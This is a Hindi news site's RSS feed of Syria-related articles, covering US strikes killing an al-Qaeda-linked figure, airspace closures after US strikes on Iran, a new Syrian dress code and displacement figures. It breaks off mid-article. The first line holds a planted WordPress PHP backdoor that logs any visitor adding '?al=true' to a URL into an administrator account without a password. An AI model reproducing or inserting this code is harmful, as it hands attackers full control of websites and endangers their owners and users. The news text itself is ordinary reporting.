// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Syria – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 18 Jan 2026 12:55:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 अमेरिकी आक्रामकता बढ़ी: सीरिया में हवाई हमले, अल-कायदा का टॉप आतंकी ढेर https://pratyushaashakinayikiran.com/?p=193837 Sun, 18 Jan 2026 12:55:00 +0000 https://pratyushaashakinayikiran.com/?p=193837 वाशिंगटन
अमेरिका ने सीरिया में जवाबी हमलों के तीसरे दौर में अल-कायदा से जुड़े एक शीर्ष आतंकवादी नेता को मार गिराया है। अमेरिकी अधिकारियों के मुताबिक, यह आतंकी उस इस्लामिक स्टेट (आईएस) सदस्य से सीधे तौर पर जुड़ा था, जिसने पिछले महीने सीरिया में घात लगाकर हमला किया था। उस हमले में दो अमेरिकी सैनिकों और एक असैन्य दुभाषिए की मौत हो गई थी। ‘यूएस सेंट्रल कमांड (सेंटकॉम)’ ने बताया कि शुक्रवार को उत्तर-पश्चिमी सीरिया में किए गए सटीक हमले में बिलाल हसन अल-जासिम मारा गया। सेंटकॉम के अनुसार, वह एक शीर्ष आतंकी साजिशकर्ता था और 13 दिसंबर को हुए उस हमले से सीधे तौर पर जुड़ा था, जिसमें सार्जेंट एडगर ब्रायन टोरेस-टोवार, सार्जेंट विलियम नथानियल हॉवर्ड और अमेरिकी असैन्य दुभाषिया अयाद मंसूर सकात की जान गई थी।

अमेरिकी कमांड के कमांडर एडमिरल ब्रैड कूपर ने कहा, “तीन अमेरिकियों की मौत से जुड़े आतंकी का सफाया यह साफ करता है कि हमारे बलों पर हमला करने वालों का पीछा करने का हमारा संकल्प अडिग है। जो लोग अमेरिकी नागरिकों और सैनिकों पर हमले करते हैं, उनकी योजना बनाते हैं या उकसाते हैं उनके लिए कोई सुरक्षित ठिकाना नहीं। हम आपको खोज निकालेंगे।” यह कार्रवाई उस व्यापक अमेरिकी अभियान का हिस्सा है, जिसका आदेश राष्ट्रपति डोनाल्ड ट्रंप ने अमेरिकियों पर हुए घातक हमले के बाद दिया था। इस अभियान का मकसद उन ‘आईएसआईएस के गुंडों’ को निशाना बनाना है, जो तानाशाह बशर अल-असद के सत्ता से हटने के बाद फिर से संगठित होने की कोशिश कर रहे हैं। सेंटकॉम ने बताया कि ‘हॉकी स्ट्राइक’ नामक इस अभियान के तहत अमेरिका और उसके साझेदार जॉर्डन और सीरिया ने अब तक आईएस के बुनियादी ढांचे और हथियारों से जुड़े 100 से अधिक ठिकानों को निशाना बनाया है।

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इजरायल ने सभी फ्लाइट्स के लिए बंद किया अपना एयरस्पेस https://pratyushaashakinayikiran.com/?p=165763 Sun, 22 Jun 2025 12:26:00 +0000 https://pratyushaashakinayikiran.com/?p=165763 तेल अवीव
 अमेरिकी राष्ट्रपति डोनाल्ड ट्रम्प ने ईरानी परमाणु स्थलों पर अमेरिकी हमलों के तुरंत बाद इजरायल के प्रधानमंत्री बेंजामिन नेतन्याहू से फोन पर महत्वपूर्ण बातचीत की. इस हमले के बाद इजरायल ने सुरक्षा कारणों से अपने हवाई क्षेत्र को बंद कर दिया, जिससे क्षेत्र में सुरक्षा की कड़ी सतर्कता का संकेत मिलता है.

इजरायल की टीपीएस समाचार एजेंसी के अनुसार, व्हाइट हाउस के एक वरिष्ठ अधिकारी ने पुष्टि की कि ट्रम्प और नेतन्याहू के बीच यह संवाद अमेरिकी ऑपरेशन के सफल निष्पादन के तुरंत बाद हुआ. एबीसी की रिपोर्ट बताती है कि यह हमला लगभग एक साल पहले अमेरिका और इजरायल द्वारा मिलकर किए गए सैन्य अभ्यास का हिस्सा था, जिसमें ईरान के परमाणु कार्यक्रम को लक्ष्य बनाया गया था.

नेतन्याहू ने एक हिब्रू वीडियो बयान में कहा कि अमेरिकी ऑपरेशन पूरी तरह से इजरायल रक्षा बलों (IDF) के साथ समन्वय में किया गया था. उन्होंने स्पष्ट किया कि उन्होंने ईरान की परमाणु सुविधाओं को नष्ट करने का वादा पूरा किया है. उनकी यह प्रतिक्रिया उस वादे की पूर्ति के रूप में देखी जा रही है जो उन्होंने ईरान के परमाणु हथियार बनने से रोकने के लिए दिया था.

रिपोर्ट के मुताबिक, नेतन्याहू ने हमले के दौरान और उसके बाद पांच घंटे तक शीर्ष सुरक्षा अधिकारियों के साथ बैठक की, जिसमें रक्षा मंत्री, विदेश मंत्री, सेना प्रमुख और मोसाद के प्रमुख मौजूद थे. यह बैठक रणनीति और क्षेत्रीय सुरक्षा की समीक्षा के लिए आयोजित की गई थी.

राष्ट्रपति ट्रम्प ने व्हाइट हाउस से दिए अपने संबोधन में इस सैन्य हमले को "शानदार सफलता" बताया और कहा कि ईरान के तीन प्रमुख परमाणु स्थलों — फोर्डो, नतांज और इस्फ़हान — को पूरी तरह नष्ट कर दिया गया है. उन्होंने ईरान को चेतावनी दी कि यदि वह शांति बनाए रखने में विफल रहता है तो अमेरिका उसके अन्य ठिकानों पर भी हमले कर सकता है. ट्रम्प ने कहा, "हमारा लक्ष्य था ईरान की परमाणु संवर्धन क्षमता को समाप्त करना और दुनिया में आतंक के सबसे बड़े प्रायोजकों में से एक द्वारा उत्पन्न खतरे को रोकना."

दूसरी ओर, ईरान के सर्वोच्च नेता अयातुल्ला अली खामेनेई ने इस हमले को कड़ी निंदा करते हुए चेतावनी दी कि यदि अमेरिका और इजरायल ने ईरान के खिलाफ सैन्य हस्तक्षेप जारी रखा तो इससे "निस्संदेह अपूरणीय क्षति" होगी. इस बयान ने मध्य पूर्व की सुरक्षा स्थिति को और अधिक जटिल बना दिया है.

इस घटना से स्पष्ट होता है कि मध्य पूर्व में सुरक्षा और कूटनीति दोनों ही स्तर पर तनाव बढ़ रहा है, और अमेरिकी-इजरायल सहयोग ईरान की परमाणु महत्वाकांक्षाओं को रोकने में एक महत्वपूर्ण भूमिका निभा रहा है.

 एयरलाइंस ने ईरान, इराक, सीरिया और इजराइल के ऊपर से उड़ान भरने से साफ मना किया 

मध्य पूर्व का तनाव अब जमीन से निकलकर आसमान में छा गया है। ईरान और इजरायल के बीच कई दिनों से चल रही मिसाइल जंग में अब अमेरिका की भी एंट्री हो गई है। अमेरिका ने रविवार को ईरान के परमाणु ठिकानों पर हमले कर इस संघर्ष को और भड़का दिया। इसका सीधा असर अंतरराष्ट्रीय एयरस्पेस पर दिखने लगा है। कई एयरलाइंस अब ईरान, इराक, सीरिया और इजराइल जैसे संवेदनशील इलाकों के ऊपर से उड़ान भरने से साफ मना कर रही हैं।

फ्लाइट ट्रैकिंग वेबसाइट FlightRadar24 के मुताबिक, ईरान के परमाणु ठिकानों पर अमेरिकी हमले के बाद इस क्षेत्र के ऊपर से कॉमर्शियल फ्लाइट्स की आवाजाही लगभग ठप हो गई है। विमान अब लंबा रास्ता चुनने को मजबूर हैं—कोई कैस्पियन सागर से उत्तर की ओर मुड़ रहा है, तो कोई मिस्र और सऊदी अरब के जरिए दक्षिण की ओर। इससे न सिर्फ उड़ानों का समय बढ़ गया है बल्कि ईंधन और कर्मचारियों की लागत भी कई गुना बढ़ गई है।

अमेरिकी हमले के बाद सुरक्षा जोखिम और बढ़ गए हैं

13 जून को जब इजरायल ने पहली बार ईरान पर हमला किया, तभी से कई एयरलाइंस ने मध्य पूर्व की उड़ानों को निलंबित कर दिया था। अब अमेरिका के हमले के बाद सुरक्षा जोखिम और बढ़ गए हैं। FlightRadar24 ने सोशल मीडिया पर कहा है कि यह स्थिति पिछले सप्ताह से ही बनी हुई है, जब नए नो-फ्लाई जोन घोषित किए गए थे।

इस तनाव के बीच कई देशों ने अपने नागरिकों को वहां से निकालने की प्रक्रिया तेज कर दी है। जापान ने रविवार को जानकारी दी कि उसने 16 जापानी नागरिकों सहित 21 लोगों को ईरान से अजरबैजान जमीन के रास्ते सुरक्षित निकाला। यह बीते चार दिनों में दूसरी सफल निकासी रही। उधर, न्यूजीलैंड सरकार ने भी मध्य पूर्व में अपना हरक्यूलिस सैन्य विमान तैनात कर दिया है, जो सोमवार को ऑकलैंड से रवाना हुआ।

इजरायल की दो प्रमुख एयरलाइंस—एल अल और अर्किया – ने भी अपनी सभी बचाव उड़ानें रोक दी हैं। एल अल ने तो 27 जून तक की सभी निर्धारित उड़ानों को भी रद्द कर दिया है। वहीं, इजरायल के एयरपोर्ट अथॉरिटी ने ऐलान किया है कि देश का हवाई क्षेत्र अगली सूचना तक पूरी तरह से बंद रहेगा। हालांकि, मिस्र और जॉर्डन से जमीनी आवाजाही चालू रहेगी।

जैसे-जैसे तनाव बढ़ रहा है, वैसे-वैसे दुनिया भर की एयरलाइंस ज्यादा सतर्क हो रही हैं। ड्रोन और मिसाइलों से भरे इस माहौल में हवाई उड़ान अब सिर्फ दूरी का नहीं, जिंदगी का भी सवाल बनती जा रही है।

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नई सरकार ने लागू किया ड्रेस कोड, सीरिया में महिलाओं के स्विमसूट पहनने पर रोक https://pratyushaashakinayikiran.com/?p=163189 Thu, 12 Jun 2025 06:26:00 +0000 https://pratyushaashakinayikiran.com/?p=163189 दमिश्क

सीरिया में बशर अल-असद की दमनकारी शासन का जिस विद्रोही समूह ने अंत किया अब वो सीरिया पर शासन कर रहा. अहमद अल-शरा के नेतृत्व वाली सीरिया की नई अंतरिम सरकार ने  एक नया रुढ़िवादी इस्लामिक ड्रेस कोड जारी किया जिसके तहत, समुद्र तटों और स्विमिंग पूल में स्विमसूट पहनकर नहाने की मनाही हो गई है. महिलाओं को अब समुद्री तटों और स्विमिंग पूल में नहाने के लिए पूरे शरीर को ढकने वाले ढीले-ढाले स्विमवियर जिसे बुर्किनी कहा जाता है, पहनना होगा.

पिछले साल दिसंबर में इस्लामिक विद्रोहियों के असद की सरकार को उखाड़ फेंकने के बाद से यह पहला सांस्कृतिक बदलाव है. सीरिया की अंतरिम सरकार में पर्यटन मंत्री माजेन अल-सलहानी ने कहा कि नए दिशानिर्देश 'सार्वजनिक हित की जरूरतों' को ध्यान में रखकर बनाए गए हैं.

पर्यटन मंत्री माजेन अल-सलहानी ने फेसबुक पर जारी निर्देश में कहा, 'पब्लिक समुद्र तटों और स्विमिंग पूलों पर आने वाले सभी लोगों को, चाहे वो पर्यटक हों या स्थानीय लोग, सही स्विमवियर पहनना जरूरी है. स्विमसूट ऐसा होना चाहिए जो लोगों को देखने में बुरा न लगे और जिसमें समाज के विभिन्न वर्गों की संवेदनशीलता का ध्यान रखा गया हो.

निर्देश में आगे कहा गया है, 'पब्लिक समुद्र तटों और पूलों पर अधिक शालीन स्विमवियर (बुर्किनी या स्विमसूट जो शरीर के अधिकांश हिस्से को ढकता हो) की जरूरत है. समुद्र से किसी अन्य जगह पर जाते समय स्विमसूट के ऊपर समुद्र तट कवर-अप या ढीले-ढाले कपड़े पहनने महिलाओं के लिए जरूरी है.'

दिशा-निर्देशों में पुरुषों के लिए कही गई ये बात

नए दिशा-निर्देशों के तहत पुरुषों को शर्ट पहनना अनिवार्य है, जिसके अनुसार 'तैराकी की जगहों, होटल लॉबी और खाने-पीने की जगहों में टॉपलेस कपड़े पहनने की अनुमति नहीं है.'

निर्देश में कहा गया है, 'समुद्र तटों और स्विमिंग पूलों के बाहर पब्लिक जगहों में, कंधों और घुटनों को ढकने वाले ढीले कपड़े पहनना बेहतर तरीका है, पारदर्शी या अत्यधिक तंग कपड़े पहनने से बचें.'

मंत्रालय ने कहा कि हालांकि, अंतरराष्ट्रीय रिजॉर्ट्स और प्रीमियम होटलों, प्राइवेट समुद्र तटों और स्विमिंग पूल में पश्चिमी स्विमवियर पहनने की इजाजत होगी.

मंत्रालय ने कहा कि लाइफगार्ड और समुद्र तटों की निगरानी करने वाले लोग नए नियमों को लागू कराना सुनिश्चित करेंगे.

सीरिया में दिख रहा इस्लामिक शासन का प्रभाव

स्विमसूट को लेकर नए नियम इस्लामिक समूह हयात अल-शाम (HTS) के प्रभाव को दिखाते हैं जो अब सीरिया पर शासन कर रहा है. HTS पहले अल-नुसरा फ्रंट के नाम से मशहूर था जिसे अमेरिका और ब्रिटेन ने आतंकवादी समूह घोषित कर रखा है.

सीरिया के अंतरिम राष्ट्रपति अल-शरा जिन्होंने ड्रेस कोड के निर्देश पर हस्ताक्षर किए हैं, वो एचटीएस का नेतृत्व करते हैं. HTS अलकायदा से जुड़ा समूह है जो 2016 में आतंकी समूह से अलग हो गया था. HTS के विद्रोह से ही असद की सत्ता का अंत हुआ.

मार्च में अल-शरा ने एक अंतरिम संविधान पर हस्ताक्षर किए थे, जिसके तहत सीरिया पर पांच सालों तक इस्लामी शासन अनिवार्य रहेगा. अल-शरा ने दिसंबर में कहा था कि सीरिया के संविधान को फिर से लिखने में तीन साल लग सकते हैं, और संभवतः पांच साल के भीतर चुनाव हो सकते हैं.

अमेरिका स्थित ह्यूमन राइट्स वॉच ने मार्च में कहा था कि अल-शरा का शासन मानवाधिकार को लेकर गंभीर चिंताएं पैदा करता है. 

कभी जिसे आतंकी मानता था अमेरिका, उसी से मिलाया ट्रंप ने हाथ

कुछ समय पहले तक अमेरिका अल-शरा को आतंकवादी घोषित कर रखा था. उनके सिर पर एक करोड़ डॉलर (85 करोड़ रुपये से ज्यादा) का इनाम घोषित था लेकिन सीरिया की सत्ता संभालते ही अमेरिका ने अल-शरा से हाथ मिला लिया.

मई में सऊदी अरब के अनुरोध पर अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ने रियाद में अल-शरा से गर्मजोशी से हैंडशेक किया और 1979 से सीरिया पर लगाए सभी प्रतिबंधों को भी हटा दिया था. हालांकि, एचटीएस को अभी भी संयुक्त राष्ट्र, अमेरिका और ब्रिटेन एक आतंकी संगठन ही मानते हैं. 

 

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सीरिया के तटीय इलाकों में सैन्य हेलिकॉप्टरों की तैनाती, ‘पूर्व शासन के अवशेषों’ पर कार्रवाई https://pratyushaashakinayikiran.com/?p=115143 Sun, 29 Dec 2024 13:45:00 +0000 https://pratyushaashakinayikiran.com/?p=115143 दमिश्क।

सीरिया की अंतरिम प्रशासन के सैन्य बलों ने "पूर्व शासन के अवशेषों" के खिलाफ हवाई हमले तेज कर दिए हैं। अंतरिम प्रशासन "पूर्व शासन के अवशेष" असद सरकार के लिए लड़ रहे सशस्त्र लड़ाकों को कह रहा है। मीडिया चैनलों ने प्रशासन के एक बयान का हवाला देते हुए बताया कि हेलीकॉप्टर ग्रामीण लताकिया में इस्तामो एयरफील्ड से उड़ान भर रहे हैं, जो तटीय ग्रामीण इलाकों में अभी भी सक्रिय सशस्त्र तत्वों को निशाना बना रहे हैं।

जिसमें उपयोग में आने वाले हेलीकॉप्टरों की संख्या या ऑपरेशन के दायरे के बारे में विस्तार से नहीं बताया गया है। समाचार एजेंसी सिन्हुआ की रिपोर्ट के अनुसार, यह तैनाती राष्ट्रीय स्तर पर सुरक्षा उपायों की एक श्रृंखला के तहत की गई है, जिसका उद्देश्य नए नेतृत्व की सत्ता को मजबूत करना है। शनिवार को सीरिया के नवनियुक्त खुफिया प्रमुख अनस खत्ताब ने एक आधिकारिक बयान में देश की सुरक्षा व्यवस्था को "हमारे लोगों की बलिदानों और लंबी धरोहर के अनुरूप" पुनर्गठित करने का वादा किया। खत्ताब ने कहा कि सीरिया की सभी मौजूदा सुरक्षा शाखाओं को खत्म कर दिया जाएगा और उनका पुनर्गठन किया जाएगा। हालांकि, उन्होंने इस पुनर्गठन के लिए कोई समयसीमा या विशिष्ट विवरण प्रदान नहीं किया। खत्ताब की ओर से यह घोषणा ऐसे समय में की गई है जब सीरिया 8 दिसंबर को पिछली सरकार के पतन के बाद एक संवेदनशील राजनीतिक परिवर्तन से गुजर रहा है। हयात तहरीर अल-शाम के नेतृत्व में एक सैन्य गठबंधन ने 27 नवंबर को उत्तरी सीरिया से एक बड़े सैन्य अभियान की शुरुआत की। इसने दक्षिण की ओर बढ़ते हुए राजधानी दमिश्क पर कब्जा किया और 12 दिनों के भीतर पूर्व सीरियाई राष्ट्रपति बशर अल-असद की सरकार को उखाड़ फेंका। सीरियाई सूचना मंत्रालय ने सीरियाई लोगों के बीच विभाजन फैलाने के उद्देश्य से सांप्रदायिक लहजे वाली किसी भी मीडिया सामग्री या समाचार के प्रसार या प्रकाशन पर प्रतिबंध लगाने की घोषणा की। सीरियाई गृहयुद्ध ने सांप्रदायिक रूप लिया क्योंकि असद ने मध्य पूर्व से शिया मिलिशिया को अपने यहां पैर जमाने की खुली छूट दी। मीडिया ने बताया कि पुलिस ने हिंसक प्रदर्शन के बाद बुधवार रात कर्फ्यू लगा दिया। स्थानीय लोगों के अनुसार प्रदर्शन में अलावी और शिया धार्मिक समुदायों के सदस्य शामिल थे। होम्स से बुधवार को सोशल मीडिया पर पोस्ट किए गए फुटेज में लोगों की भीड़ को तितर-बितर होते हुए और उनमें से कुछ को भागते हुए दिखाया गया। असद के लंबे समय तक सहयोगी रहे ईरान ने हाल के दिनों में सीरिया में हुई घटनाओं की आलोचना की। ईरानी सर्वोच्च नेता अयातुल्ला अली खामेनेई ने सीरियाई युवाओं से अपील की कि वह उन लोगों के खिलाफ दृढ़ संकल्प के साथ खड़े होने का आह्वान किया जिन्होंने इस असुरक्षा को अंजाम दिया है। उन्होंने भविष्यवाणी की कि सीरिया में एक मजबूत और सम्मानजनक समूह भी उभरेगा क्योंकि सीरियाई युवाओं के पास खोने के लिए कुछ भी नहीं है। सीरिया के नवनियुक्त विदेश मंत्री, असद हसन अल-शिबानी ने मंगलवार को एक सोशल मीडिया पोस्ट में कहा कि ईरान को सीरियाई लोगों की इच्छा और सीरिया की संप्रभुता और सुरक्षा का सम्मान करना चाहिए। उन्होंने कहा कि हम उन्हें सीरिया में अराजकता फैलाने के खिलाफ चेतावनी देते हैं और हम उन्हें नवीनतम टिप्पणियों के नतीजों के लिए जिम्मेदार ठहराते हैं।

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सीरिया में नवंबर से अब तक 11 लाख लोग हुए हैं विस्थापितः UN https://pratyushaashakinayikiran.com/?p=109325 Fri, 13 Dec 2024 14:16:00 +0000 https://pratyushaashakinayikiran.com/?p=109325 दमिश्क
संयुक्त राष्ट्र मानवीय मामलों के समन्वय कार्यालय (ओसीएचए) ने कहा है कि सीरिया में 27 नवंबर को युद्ध के जोर पकड़नेे के बाद से 11 लाख से अधिक लोग विस्थापित हुए हैं, जिनमें से अधिकांश महिलाएं और बच्चे हैं।

आईडीपी टास्क फोर्स ने कहा, “सीरिया में 27 नवंबर को युद्ध के तेज हाेने के बाद से 11 लाख से अधिक लोग विस्थापित हुए हैं, जिनमें अधिकांश महिलाएं और बच्चे हैं।” संगठन की ओर से जारी बयान में कहा गया है कि लगभग 6,40,000 लोग अलेप्पो प्रांत से भाग गए, जबकि 3,34,000 लोग इदलिब से और 1,36,000 लोग हमा से भाग गए।

उल्लेखनीय है कि सीरियाई सशस्त्र विपक्ष ने रविवार को राजधानी दमिश्क पर कब्जा कर लिया। रूसी अधिकारियों ने कहा कि राष्ट्रपति बशर असद ने सीरियाई संघर्ष के प्रतिभागियों के साथ बातचीत के बाद पद छोड़ दिया और सीरिया छोड़कर रूस चले गए, जहाँ उन्हें शरण दी गई। इसके बाद मोहम्मद अल-बशीर (जो हयात तहरीर अल-शाम और अन्य विपक्षी समूहों द्वारा गठित इदलिब-आधारित प्रशासन चलाते थे) को मंगलवार को अंतरिम प्रधानमंत्री नामित किया गया।

13 साल का गृह युद्ध और 60 लाख शरणार्थी, इन देशों में रह रहे हैं सीरिया के लोग

8 दिसंबर को सीरिया में 13 साल लंबे गृह युद्ध के बाद सीरियाई राष्ट्रपति बशर-अल-असद रूस भाग गए. इसी के साथ असद परिवार का 54 साल पुराना राज खत्म हो गया. इसमें 24 साल तो खुद बशर अल-असद के हैं. उनके सत्ता से हटने के बाद, राजधानी दमिश्क समेत दुनिया भर में सीरियाई लोगों ने जश्न मनाया. यह जश्न खास तौर पर उन लाखों सीरियाई लोगों के लिए मायने रखता है, जो गृह युद्ध की त्रासदी से बचने के लिए अपना घर छोड़कर दूसरे देशों में शरण लेने को मजबूर हुए.

हालांकि, इस बदलाव के साथ ही यूरोपीय देशों में सीरियाई शरणार्थियों को वापस भेजने की मांग भी जोर पकड़ रही है. जर्मनी, फ्रांस, ऑस्ट्रिया, डेनमार्क, स्वीडन, नॉर्वे, बेल्जियम और ब्रिटेन जैसे देशों ने उनके असाइलम आवेदनों पर रोक लगा दी है. आखिर किन देशों में सबसे ज्यादा सीरियाई शरणार्थी रहते हैं?
इतने सीरियाई को दूसरे देशों में लेनी पड़ी शरण

2011 में, अल-असद के खिलाफ जब विद्रोह की शुरुआत हुई तो सीरिया की आबादी लगभग 2 करोड़ थी. इसके बाद के वर्षों में लगभग पाँच लाख लोग मारे गए, दस लाख से अधिक घायल हुए और लगभग 1.3 करोड़ लोग अपना घर छोड़कर भाग गए.

संयुक्त राष्ट्र की रिपोर्ट के अनुसार, 2024 तक, कम से कम 74 लाख सीरियाई आंतरिक रूप से विस्थापित हैं, जिनमें से लगभग 49 लाख पड़ोसी देशों में शरण ले रहे हैं. इसके अलवा 13 लाख लोग अधिकतर यूरोप में बस गए हैं. सबसे अधिक पंजीकृत सीरियाई शरणार्थियों वाले पड़ोसी देशों में तुर्किये, लेबनान, जॉर्डन और इराक शामिल हैं.

इन शरणार्थियों की एक बड़ी संख्या यूरोपीय देशों में भी है. न्यूज मैगजीन ‘पॉलिटिको’ की एक रिपोर्ट के मुताबिक, साल 2015 से अब तक लगभग 45 लाख सीरियाई लोग यूरोप आए. यूरोपीय संघ (ईयू) ने 2015 से 2023 के बीच लगभग 13 लाख सीरियाई शरणार्थियों को सुरक्षा का दर्जा दे चुका है.
तुर्किए में रहते हैं सबसे ज्यादा रिफ्यूजी

सीरिया के लगभग आधे पंजीकृत शरणार्थी, या 31 लाख तुर्किये में रहते हैं, जो दुनिया में सबसे बड़ी शरणार्थी आबादी की मेजबानी करता है. तुर्की सीरिया का पड़ोसी देश भी है इसलिए सीरियाई लोगों ने यही शरण सबसे पहले ली.

तुर्की सरकार सीरियाई लोगों को टेम्पोररी प्रोटेक्टेड स्टेट्स देता है जिससे उन्हें कानूनी रूप से रहने की इजाजत मिलती है. मगर इससे किसी को भी देश की नागरिकता नहीं मिलती.

उसके बाद दूसरे नंबर पर आता है लेबनान. जो कि लगभग 7 लाख 74 हजार पंजीकृत शरणार्थियों को शरण देता है. अगर इसमें अपंजीकृत व्यक्तियों को शामिल कर लिया जाए तो कुल संख्या करीब 15 लाख हो जाती है. लेबनान में हर पांच में से एक व्यक्ति सीरियाई शरणार्थी है. दोनों देशों के बीच आवाजाही आसान थी क्योंकि सीमा पार करने के लिए एक आईडी कार्ड ही काफी था. इसलिए शरणार्थियों ने बड़ी संख्या में और तेज़ी से लेबनान में शरण लेना शुरू कर दिया.

तीसरा देश है जर्मनी. यूनाइटेड नेशन्स के मुताबिक जर्मनी में 7 लाख 16 हजार सीरियाई शरणार्थी रहते हैं. एंजेला मर्केल की सरकार ने सीरिया के गृहयुद्ध से भाग रहे शरणार्थियों के लिए जर्मनी की सीमाओं को बंद नहीं करने का निर्णय लिया था. उस समय माहौल यह था कि जर्मनी प्रबंधन कर लेगा हालांकि अब चीजें काफी बदल गई हैं.

उसके बाद ईराक है जहां 2 लाख 86 हजार लोग रहते हैं. फिर इजिप्ट है 1 लाख 56 हजार शरणार्थियों के साथ. उसके बाद ऑस्ट्रिया, स्वीडेन, नीदरलैंड्स और ग्रीस है.
यूरोप में शरणार्थियों को वापस भेजने पर क्यों जोर?

असद को सत्ता से बेदखल किए जाने से पहले भी कुछ देश सीरियाई शरणार्थियों को असाइलम ना देने और उन्हें वापस भेजने की बात उठा रहे थे. अलजजीरा के मुताबिक इसमें सबसे बड़ी बाधा, यूरोपीयन यूनियन एजेंसी फॉर असाइलम (EUAA) की तरफ से की तय की गई सुरक्षित देश की परिभाषा

दरअसल EUAA का सेक्शन 4.3.2 कहता है कि शरण के लिए आवेदन करने वाले को या शरणार्थी को उसके देश वापस भेजने के लिए जरूरी है कि उस देश में कानूनों का पालन लोकतांत्रिक तरीके से होता हो, राजनीतिक घटनाक्रम उत्पीड़न, यातना, या सजा का कारण ना बनते हों. इन मानकों पर सीरिया खरा नहीं उतरता था. अब असद के बाहर होने के बाद एक बार फिर सीरियाई शरणार्थियों का मुद्दा फिर गर्म हो गया है.

हालांकि यूएनएचसीआर के मुताबिक, सीरिया में वापसी में बढ़ोतरी हुई है. 2024 के पहले आठ महीनों में, लगभग 34,000 सीरियाई शरणार्थियों के घर लौटने की पुष्टि की गई थी. संख्या इससे अधिक भी हो सकती है.

 

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लेबनान से एक लाख से ज्यादा लोग सीरिया विस्थापित हुए: संरा https://pratyushaashakinayikiran.com/?p=79090 Thu, 03 Oct 2024 10:36:00 +0000 https://pratyushaashakinayikiran.com/?p=79090 संयुक्त राष्ट्र
 इजरायल और लेबनान के बीच बढ़ते तनाव और इजरायली सेना की ओर से जारी निकासी आदेशों के कारण दो लाख से ज्यादा लोग दक्षिणी लेबनान से विस्थापित हो गए हैं, जिनमें से एक लाख से ज्यादा लोग सीरिया गये हैं। यह जानकारी संयुक्त राष्ट्र के एक प्रवक्ता ने  दी।

संयुक्त राष्ट्र महासचिव एंटोनियो गुटेरेस के मुख्य प्रवक्ता स्टीफन दुजारिक ने कहा कि मानवीय मामलों के समन्वय के लिए संयुक्त राष्ट्र कार्यालय (ओसीएचए) ने चेतावनी दी है कि विस्थापित लोगों की संख्या बढ़ने का अनुमान है, क्योंकि इजरायली रक्षा बल ने सोमवार और  बीच दक्षिण लेबनान के 30 गांवों सहित कई जगहों के लिए निकासी के आदेश जारी किए हैं।

प्रवक्ता ने दैनिक विवरण में कहा कि उत्तरी इज़रायल में, 60,000 से अधिक लोग अपने घरों से विस्थापित हुए हैं। उन्होंने कहा कि संयुक्त राष्ट्र शरणार्थी एजेंसी अपनी आपातकालीन प्रतिक्रिया को लगातार बढ़ा रही है और लेबनान में विस्थापित लोगों के लिए अपनी प्रतिक्रिया में तत्काल मानवीय एवं सुरक्षा सहायता प्रदान करने के लिए भागीदारों के साथ काम कर रही है।

संयुक्त राष्ट्र और उसके सहयोगी भोजन, बच्चों के लिए पोषण, पानी, बिस्तर और स्वच्छता किट जैसी अन्य आवश्यक वस्तुएं प्रदान कर लेबनानी सरकार की प्रतिक्रिया का समर्थन कर रहे हैं। संयुक्त राष्ट्र बाल कोष ने आवश्यक आपूर्ति के साथ 50,000 विस्थापितों को शरण देने वाले लगभग 200 सामूहिक आश्रयों का समर्थन किया है।

संयुक्त राष्ट्र महासचिव ने जारी एक बयान में अंतरराष्ट्रीय समुदाय से 42.6 करोड़ अमेरिकी डॉलर की आपातकालीन मानवीय सहायता का तत्काल समर्थन देने की अपील की। दुजारिक ने कहा कि हमारे मानवतावादी सहयोगियों का मानना है कि इस पैसे का लक्ष्य अगले तीन महीनों के लिए 10 लाख लोगों को मानवीय सहायता प्रदान करना है।

उन्होंने कहा कि लेबनान में मानवतावादी समन्वयक इमरान रिज़ा ने चेतावनी दी है कि मानवतावादी सहयोगियों काे पर्याप्त संसाधनों के बिना पूरे देश की आबादी को उस सहायता के बिना उनके हाल पर छोड़ना पड़ेगा, जिसकी उन्हें तत्काल आवश्यकता है।

 

 

 

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सीरिया में एक हमले में 12 ईरान समर्थित लड़ाकों की मौत, हमलावर की कोई जानकारी नहीं https://pratyushaashakinayikiran.com/?p=77175 Sun, 29 Sep 2024 17:55:00 +0000 https://pratyushaashakinayikiran.com/?p=77175 दमिस्क/एजोर.

रविवार को सीरिया में हुए एक हमले में 12 ईरान समर्थित लड़ाकों की मौत हो गई है और बड़ी संख्या में लोग घायल हुए हैं। संघर्षों पर निगाह रखने वाली एक संस्था ने यह जानकारी दी है। रिपोर्ट के अनुसार, सीरिया के देर एजोर शहर के पूर्व में एक ठिकाने पर हुए हमले में 12 ईरान समर्थित लड़ाकों की मौत हुई है। यह इलाका इराक की सीमा के नजदीक स्थित है। हमला कहां से हुआ, इसकी जानकारी नहीं मिली है।

अभी तक किसी ने हमले की जिम्मेदारी नहीं ली
अभी तक इस हमले की जिम्मेदारी किसी ने नहीं ली है। गौरतलब है कि ईरान द्वारा सीरिया को साल 2011 में शुरू हुए गृहयुद्ध के समय से ही सैन्य मदद दी जा रही है। इस्राइल द्वारा बीते समय में सीरिया में ईरान समर्थित संगठनों के ठिकानों पर कई बार हमले किए हैं। यही वजह है कि अभी पश्चिम एशिया में जिस तरह के हालात हैं और इस्राइल और ईरान में जैसी ठनी हुई है, उसे देखते हुए इस हमले के पीछे भी इस्राइल का हाथ होने से इनकार नहीं किया जा सकता। अमेरिका द्वारा भी कई बार सीरिया में हमलों को अंजाम दिया गया है। ऐसे में ताजा हमले को लेकर कुछ तरह तरह की चर्चाएं हैं।

सीरिया में अपना प्रभाव बढ़ाने की कोशिशों में जुटा ईरान
